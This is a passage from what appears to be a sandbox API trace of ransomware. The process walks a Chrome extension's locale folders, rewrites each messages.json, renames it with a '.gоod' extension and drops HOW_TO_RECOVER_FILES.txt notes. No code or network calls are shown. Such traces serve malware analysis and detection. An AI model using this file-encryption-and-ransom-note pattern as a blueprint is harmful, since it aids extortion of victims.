lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0244.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0244.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.638] GetFileType (hFile=0x828) returned 0x1 [0244.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0244.638] GetFileType (hFile=0x828) returned 0x1 [0244.638] WriteFile (in: hFile=0x828, lpBuffer=0x3a6d3c0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3a6d3c0*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0244.639] CloseHandle (hObject=0x828) returned 1 [0244.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0244.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0244.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0244.639] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552edba8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552f0258, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8e068c73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0244.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0244.639] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.gоod")) returned 1 [0244.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0244.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0244.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0244.642] GetFileType (hFile=0x828) returned 0x1 [0244.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0244.642] GetFileType (hFile=0x828) returned 0x1 [0244.643] WriteFile (in: hFile=0x828, lpBuffer=0x3a70cf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3a70cf8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0244.643] CloseHandle (hObject=0x828) returned 1 [0244.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0244.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpFilePart=0x0) returned 0x7b [0244.643] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552f9ef6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fed19, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552fed19, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0244.644] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552f9ef6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fed19, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552fed19, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.644] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552fed19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fecb8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.644] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.644] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0244.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0244.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0244.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0244.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpFilePart=0x0) returned 0x7b [0244.644] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552f9ef6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fed19, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552fed19, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0244.645] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552f9ef6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fed19, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552fed19, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.645] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552fed19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fecb8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.645] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552fed19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fecb8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0244.645] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0244.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0244.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0244.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0244.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0244.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3a80cc8 | out: lpFileInformation=0x3a80cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552fed19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fecb8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1 [0244.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0244.796] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0244.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0244.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0244.796] GetFileType (hFile=0x85c) returned 0x1 [0244.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0244.796] GetFileType (hFile=0x85c) returned 0x1 [0244.796] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xdd [0244.796] ReadFile (in: hFile=0x85c, lpBuffer=0x398feb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x398feb8*, lpNumberOfBytesRead=0x1f6e7648*=0xdd, lpOverlapped=0x0) returned 1 [0244.796] CloseHandle (hObject=0x85c) returned 1 [0244.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0244.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0244.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0244.824] GetFileType (hFile=0x85c) returned 0x1 [0244.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0244.824] GetFileType (hFile=0x85c) returned 0x1 [0244.824] WriteFile (in: hFile=0x85c, lpBuffer=0x3a088f8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3a088f8*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0244.825] CloseHandle (hObject=0x85c) returned 1 [0244.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0244.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0244.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0244.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552fed19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fecb8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8e2328bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0244.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0244.825] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.gоod")) returned 1 [0244.826] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0244.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0244.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0244.827] GetFileType (hFile=0x85c) returned 0x1 [0244.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0244.827] GetFileType (hFile=0x85c) returned 0x1 [0244.828] WriteFile (in: hFile=0x85c, lpBuffer=0x3a0c230*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3a0c230*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0245.469] CloseHandle (hObject=0x85c) returned 1 [0246.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0246.227] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpFilePart=0x0) returned 0x7b [0246.227] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5530895a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d780, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5530d780, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0246.227] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5530895a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d780, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5530d780, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.227] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5530d780, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d718, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0246.227] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.227] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0246.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0246.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0246.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0246.228] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpFilePart=0x0) returned 0x7b [0246.228] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5530895a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d780, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5530d780, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0246.228] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5530895a, ftCreationTime.dwHighDateTime=0x1d327ca, 